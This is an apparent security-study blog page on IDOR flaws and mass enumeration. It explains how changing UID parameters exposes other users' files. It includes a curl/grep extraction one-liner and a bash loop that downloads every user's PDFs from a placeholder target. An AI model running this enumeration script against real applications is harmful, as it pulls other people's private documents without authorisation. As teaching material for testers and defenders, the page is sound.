Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

IDOR — Mass Enumeration

Insecure parameters

The most basic IDOR pattern: a URL parameter like ?uid=1 directly controls which user’s data is returned. If the back-end does not validate that the requesting user is authorized to view that UID’s records, changing the value exposes other users’ data.

Static file IDOR

File links may embed the user ID in a predictable naming pattern:

/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf

Fuzzing other IDs (Invoice_2_..., Invoice_3_...) can retrieve other users’ files, but requires guessing the file prefix — not always reliable.

Parameter-based IDOR

A more reliable approach: manipulate the UID parameter directly:

/documents.php?uid=1  →  /documents.php?uid=2

Key detail: the page layout may look identical for different UIDs. Always check the linked file URLs or page source — the file paths will differ even when the UI appears unchanged.

Other variations:

  • Filter parameters: ?uid_filter=1 — manipulate or remove entirely to show all records
  • The parameter being in clear text in the URL is itself a design smell suggesting missing access control

Mass enumeration

Manually iterating UIDs is impractical at scale. Automate with Burp Intruder, ZAP Fuzzer, or a script.

Inspect the page source to find a unique pattern around file links:

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>

Use curl + grep with a regex to extract just the file paths:

curl -s "http://TARGET/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

Output:

/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf

Bulk download script

Loop over UIDs, extract links, and download each file:

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
    for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
        wget -q "$url/$link"
    done
done

Adjust the UID range based on the target. Alternatives: Burp Intruder (payload positions on the UID parameter) or ZAP Fuzzer for the same effect without scripting.